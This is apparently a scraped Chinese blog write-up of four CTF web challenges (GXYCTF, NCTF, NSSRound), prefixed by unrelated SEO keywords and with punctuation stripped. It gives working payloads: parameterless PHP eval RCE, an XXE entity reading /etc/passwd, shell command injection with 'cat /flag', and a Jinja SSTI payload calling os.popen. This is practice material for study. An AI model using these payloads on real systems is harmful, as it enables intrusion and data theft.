企业查询官方网站,网站繁简通,廊坊关键词seo排名方案,wordpress 编辑 插件文章目录 前言题目[GXYCTF 2019]禁止套娃方法一方法二 [NCTF 2019]Fake XML cookbook[NSSRound#7 Team]ec_RCE[NCTF 2018]Flask PLUS 前言
今天是2023.9.3#xff0c;大二开学前的最后一天。老实说ctf的功力还是不太够做的题目太少#xff0c;新学期新气象。不可急于求成大二开学前的最后一天。老实说ctf的功力还是不太够做的题目太少新学期新气象。不可急于求成稳扎稳打把能利用的时间用来提升web实力。 题目
[GXYCTF 2019]禁止套娃
打开题目直接扫一下目录 发现是存在git泄露—参考文章
然后使用专门的工具Githack下载地址 打开终端运行python运行后要访问,/.git/才能有结果
源代码
?php
include flag.php;
echo flag在哪里呢br;
if(isset($_GET[exp])){if (!preg_match(/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i, $_GET[exp])) {if(; preg_replace(/[a-z,_]\((?R)?\)/, NULL, $_GET[exp])) {if (!preg_match(/et|na|info|dec|bin|hex|oct|pi|log/i, $_GET[exp])) {// echo $_GET[exp];eval($_GET[exp]);}else{die(还差一点哦);}}else{die(再好好想想);}}else{die(还想读flag臭弟弟);}
}
// highlight_file(__FILE__);
?分析一下 第一个if语句禁用了一些php伪协议 第二个if语句很明显是无参rce的标志一般代码为
if(; preg_replace(/[^\W]\((?R)?\)/, , $_GET[code])) { eval($_GET[code]);
}第三个if语句是禁用我们要rce的一些函数比如phpinfo()等
所以rce的关键是无参
方法一 使用session_start()session_id()读取文件php7 payload
?expshow_source(session_id(session_start()));
Cookie: PHPSESSIDflag.php得到flag 方法二 php函数直接读取文件 先读取数组查看flag在第几个 payload
?expprint_r(scandir(current(localeconv())));发现是第三个那么我们可以先倒序再读取第二个
?exphighlight_file(next(array_reverse(scandir(current(localeconv())))));即可得到flag
[NCTF 2019]Fake XML cookbook
打开题目根据提示应该不是sql注入 随便输入然后bp抓包发现是xml格式的登录
联想到XML中存在的XXE漏洞 payload
?xml version1.0 encodingutf-8?
!DOCTYPE note [!ENTITY admin SYSTEM file:///etc/passwd]
userusernameadmin;/usernamepassword1/password/user修改下命令直接得到flag [NSSRound#7 Team]ec_RCE
源代码 !-- A EZ RCE IN REALWORLD _ FROM CHINA.TW --
!-- By 探姬 --
?PHPif(!isset($_POST[action]) !isset($_POST[data]))show_source(__FILE__);putenv(LANGzh_TW.utf8); $action $_POST[action];$data .$_POST[data].;$output shell_exec(/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data);echo $output;
? 分析一下有两个POST参数可控然后出现shell_exec()函数 它的作用将字符串作为OS命令执行需要输出执行结果且输出全部的内容。 payload
action||datacat /flag
或者
action;cat /flagdata得到flag
[NCTF 2018]Flask PLUS
打开题目在url输入{{7*7}} 发现存在ssti漏洞
payload
{{lipsum.__globals__[os][popen](ls /).read()}}然后得到flag